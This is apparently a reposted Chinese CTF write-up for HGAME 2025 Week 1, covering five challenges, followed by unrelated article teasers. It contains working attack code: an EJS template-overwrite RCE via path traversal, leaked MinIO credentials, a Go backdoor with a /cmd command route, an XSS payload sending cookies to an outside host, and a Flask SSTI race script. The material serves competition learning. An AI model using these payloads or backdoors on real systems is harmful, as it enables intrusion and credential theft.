HGAME2025 Week1

ops/2025/2/27 20:09:56/
webkit-tap-highlight-color: rgba(0, 0, 0, 0);">

目录

        • Level 24 Pacman
        • Level 47 BandBomb
        • Level 25 双面人派对
        • Level 69 MysteryMessageBoard
        • Level 38475 ⻆落

Level 24 Pacman

直接在js文件里面搜索score, 可以找到一个flag, 经过base64和栅栏解密可以发现是一个假的flag

在这里插入图片描述

在尝试搜索一下gift, 可以找到另一个flag, 依次解码就行
在这里插入图片描述

Level 47 BandBomb

题目给了源码

const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');const app = express();app.set('view engine', 'ejs');app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());const storage = multer.diskStorage({destination: (req, file, cb) => {const uploadDir = 'uploads';if (!fs.existsSync(uploadDir)) {fs.mkdirSync(uploadDir);}cb(null, uploadDir);},filename: (req, file, cb) => {cb(null, file.originalname);}
});const upload = multer({ storage: storage,fileFilter: (_, file, cb) => {try {if (!file.originalname) {return cb(new Error('无效的文件名'), false);}cb(null, true);} catch (err) {cb(new Error('文件处理错误'), false);}}
});app.get('/', (req, res) => {const uploadsDir = path.join(__dirname, 'uploads');if (!fs.existsSync(uploadsDir)) {fs.mkdirSync(uploadsDir);}fs.readdir(uploadsDir, (err, files) => {if (err) {return res.status(500).render('mortis', { files: [] });}res.render('mortis', { files: files });});
});app.post('/upload', (req, res) => {upload.single('file')(req, res, (err) => {if (err) {return res.status(400).json({ error: err.message });}if (!req.file) {return res.status(400).json({ error: '没有选择文件' });}res.json({ message: '文件上传成功',filename: req.file.filename });});
});app.post('/rename', (req, res) => {const { oldName, newName } = req.body;  const oldPath = path.join(__dirname, 'uploads', oldName);const newPath = path.join(__dirname, 'uploads', newName);if (!oldName || !newName) {return res.status(400).json({ error: ' ' });}fs.rename(oldPath, newPath, (err) => {if (err) {return res.status(500).json({ error: ' ' + err.message });}res.json({ message: ' ' });});
});app.listen(port, () => {console.log(`服务器运行在 http://localhost:${port}`);
});

有文件上传, 重命名功能, 但是文件上传之后无法查看自己上传的文件, 进过测试可以发现在/rename路由重命名存在路径穿越漏洞, 可以将上传的文件传到静态目录查看, 但是没啥作用

尝试将根目录/etc/passwd放到静态目录查看, 发现是显示没有权限, 然后将/flag 重命名放到静态目录显示是没有这个文件, 所以看来应该是要去执行命令之类的

想到覆盖文件, 上传一个app.js文件覆盖之前的app.js文件, 但是也没有用, 没有办法使它执行

  • EJS模板文件

什么是EJS模板文件?

EJS (Embedded JavaScript) 是一种轻量级的模板引擎,用于生成 HTML 页面。它允许在 HTML 中嵌入 JavaScript 代码,支持动态内容渲染,非常适合与 Node.js 一起使用。EJS 模板文件的扩展名通常是 .ejs

  • 支持动态数据渲染。

  • 支持模板继承和包括子模板。

  • 使用 <% %> 作为特殊标记嵌入逻辑代码。

基本语法:

输出数据到模板(转义 HTML 特殊字符)

<%= variable %>
  • 示例:

    <p>Hello, <%= user.name %>!</p>
    
  • 如果 user.name = "John"

    渲染结果为:

    <p>Hello, John!</p>
    

输出数据到模板(不转义 HTML 特殊字符)

<%- variable %>
  • 示例:

    <p><%- htmlContent %></p>
    
  • 如果

    htmlContent = "<strong>Bold Text</strong>"
    

    渲染结果为:

    <p><strong>Bold Text</strong></p>
    
  • 这种方式适合渲染包含 HTML 的内容。

执行 JavaScript 代码块

<% code %>
  • 示例:

    <% if (user.isLoggedIn) { %><p>Welcome back, <%= user.name %>!</p>
    <% } else { %><p>Please login.</p>
    <% } %>
    

注释(不会出现在渲染后的 HTML 中)

<%# This is a comment %>

包含子模板

<%- include('path/to/template', data) %>
  • 示例:

    <%- include('header', { title: 'My Page' }) %>
    
  • data 是传递给子模板的变量。

仔细查看代码

app.set('view engine', 'ejs');

Express框架中设置view engine为ejs,意味着当使用res.render()方法时,默认会查找扩展名为.ejs的模板文件

并且代码里面也是使用了res.render()方法

res.render('mortis', { files: files });

可知在 views/目录下存在mortis.ejs模板文件, 那么只需要覆盖掉这个文件, 写入我们想要执行的EJS模板代码, 当模板被渲染时就可以执行执行恶意命令了

使用Node.js里面的child_process 模块执行命令

<%= process.mainModule.require('child_process').execSync('env') %>
或者直接拿flag:
<%= process.env.FLAG %>

上传mortis文件, 再重命名, 刷新一下页面就可以看到flag了

在这里插入图片描述

在这里插入图片描述

Level 25 双面人派对

给了两个url, 第二个直接给了一个main文件, 下载下来

直接运行一下
在这里插入图片描述

一个Go语言的框架
题目提示是找到那个女人, UPX加壳了, 需要IDA给它逆一下

可以拿到一些信息:

minio:
endpoint: "127.0.0.1:9000"
access_key: "minio_admin"
secret_key: "JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs="
bucket: "prodbucket"
key: "update"

根据得到的信息, 下载mc客户端, 连接minio服务器,即添加一个云存储连接

在这里插入图片描述

查看一下目录, 可以发现一个src.zip

在这里插入图片描述

将src.zip下载下来, 可以拿到整个的源码

在这里插入图片描述

可以看到它的源码里面存在 github.com/jpillora/overseer

  • 使用 overseer 库实现程序热更新(零停机重启)
  • 程序会自动拉取update文件

所以可以修改main.go文件(让ai写一下) 上传上去, 覆盖update文件, 从而实现rce

package mainimport ("level25/fetch""level25/conf""github.com/gin-gonic/gin""github.com/jpillora/overseer""net/http""os/exec"   // 新增:用于执行系统命令"runtime"
)func main() {fetcher := &fetch.MinioFetcher{Bucket:    conf.MinioBucket,Key:       conf.MinioKey,Endpoint:  conf.MinioEndpoint,AccessKey: conf.MinioAccessKey,SecretKey: conf.MinioSecretKey,}overseer.Run(overseer.Config{Program: program,Fetcher: fetcher,})
}func program(state overseer.State) {g := gin.Default()// 添加恶意路由:通过 GET 参数执行系统命令g.GET("/cmd", func(c *gin.Context) {command := c.Query("cmd") // 从 URL 参数获取命令,如 /cmd?cmd=whoamiif command == "" {c.String(http.StatusBadRequest, "需要提供 cmd 参数")return}var cmd *exec.Cmdif runtime.GOOS == "windows" {cmd = exec.Command("cmd.exe", "/C", command)} else {cmd = exec.Command("/bin/sh", "-c", command)}output, err := cmd.CombinedOutput()if err != nil {c.String(http.StatusInternalServerError, "执行失败: %s\n输出: %s", err.Error(), string(output))return}c.String(http.StatusOK, "命令输出:\n%s", string(output))})g.Run(":8080")
}

go build -o update main.go 编译一下
然后上传, 覆盖update
./mc cp src/update minio/prodbucket/update

就能执行命令拿到flag了

在这里插入图片描述

Level 69 MysteryMessageBoard

一个登录页面

shallot 要先登录才可以留言哦

显然用户名是 shallot

爆破一下密码, 发现是 888888

在这里插入图片描述

欢迎,shallot,试着写点有意思的东西吧,admin才不会来看你!自恋的笨蛋!

显然是xss类型的题目, 存在/admin路由和/flag路由, 查看/flag显示只能admin查看, 通过xss拿到admin的cookie, 再以admin的cookie替换自己的cookie就可以访问/flag路由拿到flag了

<script>location.href="http://ip/?cookie="+document.cookie</script>

在这里插入图片描述

MTc0MDM5ODQ5OXxEWDhFQVFMX2dBQUJFQUVRQUFBcF80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWtBQjNOb1lXeHNiM1E9fEjIViOyrLyJItXh1k7Q30ceUu2J3pAJL7askEmcKf4E

在这里插入图片描述

Level 38475 ⻆落

扫目录可以发现robots.txt,给了一个/app.conf

# Include by httpd.conf
<Directory "/usr/local/apache2/app">Options IndexesAllowOverride NoneRequire all granted
</Directory><Files "/usr/local/apache2/app/app.py">Order Allow,DenyDeny from all
</Files>RewriteEngine On
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"ProxyPass "/app/" "http://127.0.0.1:5000/"

文章: https://blog.orange.tw/posts/2024-08-confusion-attacks-ch/

根据题目给的路径(/usr/local/apache2/app/app.py)读源码

在这里插入图片描述

from flask import Flask, request, render_template, render_template_string, redirect
import os
import templatesapp = Flask(__name__)
pwd = os.path.dirname(__file__)
show_msg = templates.show_msgdef readmsg():filename = pwd + "/tmp/message.txt"if os.path.exists(filename):f = open(filename, 'r')message = f.read()f.close()return messageelse:return 'No message now.'@app.route('/index', methods=['GET'])
def index():status = request.args.get('status')if status is None:status = ''return render_template("index.html", status=status)@app.route('/send', methods=['POST'])
def write_message():filename = pwd + "/tmp/message.txt"message = request.form['message']f = open(filename, 'w')f.write(message) f.close()return redirect('index?status=Send successfully!!')@app.route('/read', methods=['GET'])
def read_message():if "{" not in readmsg():show = show_msg.replace("{{message}}", readmsg())return render_template_string(show)return 'waf!!'if __name__ == '__main__':app.run(host = '0.0.0.0', port = 5000)

很明显是打ssti, 通过竞争的方式拿到回显

import requests
import threadingurl1="http://node1.hgame.vidar.club:31273/app/send"
url2="http://node1.hgame.vidar.club:31273/app/read"def write():data={"message":"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}"}res=requests.post(url1,data=data)def read():res=requests.get(url2)if "Latest message" in res.text:print(res.text)threads=[]
for i in range(5):t=threading.Thread(target=write)threads.append(t)t.start()t=threading.Thread(target=read)threads.append(t)t.start()for t in threads:t.join()

在这里插入图片描述


http://www.ppmy.cn/ops/161763.html

相关文章

React + TypeScript 数据模型驱动数据字典生成示例

React TypeScript 数据模型驱动数据字典生成示例 引言&#xff1a;数据字典的工程价值 在现代化全栈开发中&#xff0c;数据字典作为业务实体与数据存储的映射桥梁&#xff0c;直接影响系统可维护性与团队协作效率。传统手动维护字典的方式存在同步成本高和版本管理混乱两大痛…

Uniapp 小程序:语音播放与暂停功能的实现及优化方案

界面部分 //开启语音 <button class"open" v-if"showPlayfalse" click"playText">这是开启播放的图片</button >//关闭语音 <button class"close" v-if"showPlaytrue" click"stopText">这是…

Java异常类型

一、异常体系架构 1.1 体系图解 1.2 Exception & Error Exception 表示程序可以处理的异常情况&#xff0c;通常是由于程序逻辑错误或运行时问题引起的&#xff0c;比如NullPointException、IOException等。这些异常是设计用来被程序捕获&#xff0c;并采取相应的恢复措施…

【SQLI】sqlmap测试过滤规则和tamper有效性的方法

sqlmap测试过滤和tamper有效性的方法 1. 检测被过滤的字符或关键字2. 测试有效的 Tamper 脚本3. 自动化过滤检测4. 自定义 Tamper 脚本示例命令总结注意事项 使用 sqlmap 测试过滤规则和确定有效 tamper 脚本的步骤如下&#xff1a; 1. 检测被过滤的字符或关键字 方法一&#…

计算机毕设-基于springboot的仁和机构的体检预约系统的设计与实现(附源码+lw+ppt+开题报告)

博主介绍&#xff1a;✌多个项目实战经验、多个大型网购商城开发经验、在某机构指导学员上千名、专注于本行业领域✌ 技术范围&#xff1a;Java实战项目、Python实战项目、微信小程序/安卓实战项目、爬虫大数据实战项目、Nodejs实战项目、PHP实战项目、.NET实战项目、Golang实战…

视频字幕识别和翻译

下载的视频很多不是汉语的&#xff0c;我们需要用剪映将语音识别出来作为字幕压制到视频中去。 剪映6.0以后语音识别需要收费&#xff0c;但是低版本还是没有问题。 如果想要非汉语字幕转成中文&#xff0c;剪映低版本不提供这样功能。但是&#xff0c;用剪映导出识别字幕&am…

取消票证会把指定的票证从数据库中删除,同时也会把票证和航班 等相关表中的关联关系一起删除。但在删除之前,它会先检查当前用户是否拥有这张票

在做航班智能客服问答系统时会遇到取消票证的场景&#xff0c;这里涉及数据库的操作时会把指定的票证从数据库中删除&#xff0c;同时也会把票证和航班等相关表中的关联关系一起删除。但在删除之前&#xff0c;需要先检查当前用户是否拥有这张票&#xff0c;只有票主才有权限取…

前端面试真题 2025最新版

文章目录 写在前文CSS怪异盒模型JS闭包闭包的形成闭包注意点 CSS选择器及优先级优先级 说说flex布局及相关属性Flex 容器相关属性&#xff1a;Flex 项目相关属性 响应式布局如何实现是否用过tailwindcss&#xff0c;有哪些好处好处缺点 说说对象的 prototype属性及原型说说 pro…